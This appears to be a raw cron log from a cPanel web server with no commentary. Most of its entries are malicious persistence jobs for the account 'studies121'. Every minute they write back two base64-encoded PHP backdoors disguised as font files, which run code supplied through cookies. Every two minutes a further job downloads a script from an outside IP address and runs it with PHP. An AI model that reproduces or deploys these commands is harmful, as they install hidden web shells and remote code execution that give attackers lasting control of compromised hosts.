Feb 22 13:41:01 ip-184-168-122-23 CROND[2878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:41:01 ip-184-168-122-23 CROND[2881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:41:01 ip-184-168-122-23 CROND[2882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:41:01 ip-184-168-122-23 CROND[2879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:42:01 ip-184-168-122-23 CROND[3192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:42:01 ip-184-168-122-23 CROND[3195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:42:01 ip-184-168-122-23 CROND[3196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:42:01 ip-184-168-122-23 CROND[3193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:42:01 ip-184-168-122-23 CROND[3197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:43:01 ip-184-168-122-23 CROND[3509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:43:01 ip-184-168-122-23 CROND[3511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:43:01 ip-184-168-122-23 CROND[3512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:43:01 ip-184-168-122-23 CROND[3515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:44:01 ip-184-168-122-23 CROND[3846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:44:01 ip-184-168-122-23 CROND[3845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:44:01 ip-184-168-122-23 CROND[3849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:44:01 ip-184-168-122-23 CROND[3850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:44:01 ip-184-168-122-23 CROND[3851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:45:01 ip-184-168-122-23 CROND[4229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:45:01 ip-184-168-122-23 CROND[4230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:45:01 ip-184-168-122-23 CROND[4233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:45:01 ip-184-168-122-23 CROND[4236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:45:01 ip-184-168-122-23 CROND[4235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:45:01 ip-184-168-122-23 CROND[4240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:46:01 ip-184-168-122-23 CROND[4574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:46:01 ip-184-168-122-23 CROND[4575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:46:01 ip-184-168-122-23 CROND[4579]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:46:01 ip-184-168-122-23 CROND[4578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:46:01 ip-184-168-122-23 CROND[4582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:46:01 ip-184-168-122-23 CROND[4581]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 13:47:01 ip-184-168-122-23 CROND[4971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:47:01 ip-184-168-122-23 CROND[4972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:47:01 ip-184-168-122-23 CROND[4973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:47:01 ip-184-168-122-23 CROND[4974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:48:01 ip-184-168-122-23 CROND[5285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:48:01 ip-184-168-122-23 CROND[5286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:48:01 ip-184-168-122-23 CROND[5287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:48:01 ip-184-168-122-23 CROND[5288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:48:01 ip-184-168-122-23 CROND[5289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:49:01 ip-184-168-122-23 CROND[5627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:49:01 ip-184-168-122-23 CROND[5628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:49:01 ip-184-168-122-23 CROND[5629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:49:01 ip-184-168-122-23 CROND[5633]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 13:49:01 ip-184-168-122-23 CROND[5631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:50:01 ip-184-168-122-23 CROND[5997]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 13:50:01 ip-184-168-122-23 CROND[5998]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 13:50:01 ip-184-168-122-23 CROND[5999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 13:50:02 ip-184-168-122-23 CROND[6004]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 13:50:02 ip-184-168-122-23 CROND[6007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:50:02 ip-184-168-122-23 CROND[6010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:50:02 ip-184-168-122-23 CROND[6008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:50:02 ip-184-168-122-23 CROND[6005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:50:02 ip-184-168-122-23 CROND[6006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:51:01 ip-184-168-122-23 CROND[6362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:51:01 ip-184-168-122-23 CROND[6363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:51:01 ip-184-168-122-23 CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:51:01 ip-184-168-122-23 CROND[6365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:52:01 ip-184-168-122-23 CROND[6642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:52:01 ip-184-168-122-23 CROND[6646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 13:52:01 ip-184-168-122-23 CROND[6647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 13:52:01 ip-184-168-122-23 CROND[6645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 13:52:01 ip-184-168-122-23 CROND[6644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 13:53:01 ip-184-168-122-23 CROND[6930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 13:53:01 ip-184-168-122-23 CROND[6933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
